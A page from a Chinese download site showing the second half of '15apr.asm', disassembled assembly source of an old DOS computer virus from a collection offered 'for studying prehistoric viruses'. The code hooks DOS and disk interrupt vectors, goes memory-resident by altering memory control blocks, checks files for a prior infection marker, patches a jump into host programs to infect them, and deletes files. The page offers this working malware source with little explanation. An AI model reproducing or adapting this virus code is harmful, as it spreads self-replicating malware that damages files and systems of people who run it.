⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 15apr.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		int	21h				; DOS Services  ah=function 41h
							;  delete file, name @ ds:dx
		jmp	short loc_25
		db	90h
loc_25:
		mov	ax,4202h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		cmp	ax,4E2h
		jb	loc_ret_28			; Jump if below
		cmp	ax,0FA00h
		jae	loc_ret_28			; Jump if above or =
		push	ax
		cmp	byte ptr [si],0E9h
		jne	loc_26				; Jump if not equal
		sub	ax,4E5h
		cmp	ax,[si+1]
		jne	loc_26				; Jump if not equal
		pop	ax
		stc					; Set carry flag
		ret
loc_26:
		call	sub_3
		jnc	loc_27				; Jump if carry=0
		pop	ax
		ret
loc_27:
		mov	ax,4200h
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		call	sub_5
		pop	ax
		sub	ax,3
		mov	dx,121h
		mov	si,dx
		mov	byte ptr cs:[si],0E9h
		mov	cs:[si+1],ax
		mov	ah,40h				; '@'
		mov	cx,3
		call	sub_5
  
loc_ret_28:
		ret
sub_1		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_5		proc	near
loc_29:
		pushf					; Push flags
		call	cs:data_26			; (701E:012F=0)
		ret
sub_5		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_6		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr ds:data_5e		; (0000:0090=18Eh) Load 32 bit ptr
		mov	cs:data_27,ax			; (701E:0133=0)
		mov	cs:data_28,es			; (701E:0135=0)
		mov	ax,44Eh
		mov	ds:data_5e,ax			; (0000:0090=18Eh)
		mov	ds:data_6e,cs			; (0000:0092=1498h)
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_30,ax			; (701E:013B=0)
		mov	cs:data_31,es			; (701E:013D=0)
		les	ax,cs:data_29			; (701E:0137=0) Load 32 bit ptr
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_6		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_7		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr cs:data_27		; (701E:0133=0) Load 32 bit ptr
		mov	ds:data_5e,ax			; (0000:0090=18Eh)
		mov	ds:data_6e,es			; (0000:0092=1498h)
		les	ax,dword ptr cs:data_30		; (701E:013B=0) Load 32 bit ptr
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_7		endp
  
		db	0B0h, 3, 0CFh
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_8		proc	near
		mov	dx,10h
		mul	dx				; dx:ax = reg * ax
		ret
sub_8		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_9		proc	near
		xor	ax,ax				; Zero register
		xor	bx,bx				; Zero register
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		xor	si,si				; Zero register
		xor	di,di				; Zero register
		xor	bp,bp				; Zero register
		ret
sub_9		endp
  
		db	1Eh, 0E8h, 0, 0
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_10		proc	near
		mov	ax,4B4Dh
		nop
		int	21h				; DOS Services  ah=function 4Bh
							;  run progm @ds:dx, parm @es:bx
		jc	loc_30				; Jump if carry Set
		jmp	loc_40
loc_30:
		pop	si
		push	si
		nop
		mov	di,si
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_39e[si],ax		; (701E:FCCD=0)
		mov	cs:data_40e[si],es		; (701E:FCCF=0)
		les	bx,dword ptr ds:data_3e		; (0000:0084=6E3h) Load 32 bit ptr
		mov	cs:data_37e[di],bx		; (701E:FCC5=0)
		mov	cs:data_38e[di],es		; (701E:FCC7=0)
		mov	ax,ds:data_7e			; (0000:0102=0CC00h)
		cmp	ax,0F000h
		jne	loc_38				; Jump if not equal
		mov	dl,80h
		mov	ax,ds:data_8e			; (0000:0106=326h)
		cmp	ax,0F000h
		je	loc_31				; Jump if equal
		cmp	ah,0C8h
		jb	loc_38				; Jump if below
		cmp	ah,0F4h
		jae	loc_38				; Jump if above or =
		test	al,7Fh
		jnz	loc_38				; Jump if not zero
		mov	ds,ax
		cmp	word ptr ds:data_10e,0AA55h	; (0326:0000=6A7h)
		jne	loc_38				; Jump if not equal
		mov	dl,ds:data_11e			; (0326:0002=70h)
loc_31:
		mov	ds,ax
		xor	dh,dh				; Zero register
		mov	cl,9
		shl	dx,cl				; Shift w/zeros fill
		mov	cx,dx
		xor	si,si				; Zero register
  
locloop_32:
		lodsw					; String [si] to ax
		cmp	ax,0FA80h
		jne	loc_33				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7380h
		je	loc_34				; Jump if equal
		jnz	loc_35				; Jump if not zero
loc_33:
		cmp	ax,0C2F6h
		jne	loc_36				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7580h
		jne	loc_35				; Jump if not equal
loc_34:
		inc	si
		lodsw					; String [si] to ax
		cmp	ax,40CDh
		je	loc_37				; Jump if equal
		sub	si,3
loc_35:
		dec	si
		dec	si
loc_36:
		dec	si
		loop	locloop_32			; Loop if cx > 0
  
		jmp	short loc_38
loc_37:
		sub	si,7
		mov	cs:data_39e[di],si		; (701E:FCCD=0)
		mov	cs:data_40e[di],ds		; (701E:FCCF=0)
loc_38:
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		mov	es,bx
		mov	ah,49h				; 'I'
		int	21h				; DOS Services  ah=function 49h
							;  release memory block, es=seg
		mov	bx,0FFFFh
		mov	ah,48h				; 'H'
		int	21h				; DOS Services  ah=function 48h
							;  allocate memory, bx=bytes/16
		sub	bx,50h
		nop
		jc	loc_40				; Jump if carry Set
		mov	cx,es
		stc					; Set carry flag
		adc	cx,bx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	bx,4Fh
		stc					; Set carry flag
		sbb	es:data_14e,bx			; (06E3:0002=2342h)
		push	es
		mov	es,cx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	ax,es
		dec	ax
		mov	ds,ax
		mov	word ptr ds:data_13e,8		; (0692:0001=0D217h)
		call	sub_8
		mov	bx,ax
		mov	cx,dx
		pop	ds
		mov	ax,ds
		call	sub_8
		add	ax,ds:data_15e			; (06E3:0006=2344h)
		adc	dx,0
		sub	ax,bx
		sbb	dx,cx
		jc	loc_39				; Jump if carry Set
		sub	ds:data_15e,ax			; (06E3:0006=2344h)
loc_39:
		mov	si,di
		xor	di,di				; Zero register
		push	cs
		pop	ds
		sub	si,36Ah
		mov	cx,4E2h
		inc	cx
		rep	movsb				; Rep while cx>0 Mov [si] to es:[di]
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		dec	bx
		mov	ds,bx
		mov	byte ptr ds:data_12e,5Ah	; (0691:0000=0C9h) 'Z'
		mov	dx,173h
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		mov	ax,es
		sub	ax,10h
		mov	es,ax
		cli					; Disable interrupts
		mov	ds:data_3e,dx			; (0000:0084=6E3h)
		mov	ds:data_4e,es			; (0000:0086=161Ah)
		sti					; Enable interrupts
		dec	byte ptr ds:data_9e		; (0000:047B=0)
loc_40:
		pop	si
		cmp	word ptr cs:data_32e[si],5A4Dh	; (701E:FC99=0)
		jne	loc_41				; Jump if not equal
		pop	ds
		mov	ax,cs:data_36e[si]		; (701E:FCBB=0)
		mov	bx,cs:data_35e[si]		; (701E:FCB9=0)
		push	cs
		pop	cx
		sub	cx,ax
		add	cx,bx
		push	cx
		push	word ptr cs:data_34e[si]	; (701E:FCB7=0)
		push	ds
		pop	es
		call	sub_9
		ret					; Return far
loc_41:
		pop	ax
		mov	ax,cs:data_32e[si]		; (701E:FC99=0)
		mov	cs:data_16,ax			; (701E:0100=63E9h)
		mov	ax,cs:data_33e[si]		; (701E:FC9B=0)
		mov	cs:data_17,ax			; (701E:0102=0C303h)
		mov	ax,100h
		push	ax
		push	cs
		pop	ds
		push	ds
		pop	es
		call	sub_9
		ret
sub_10		endp
  
  
code_seg_a	ends
  
  
  
		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -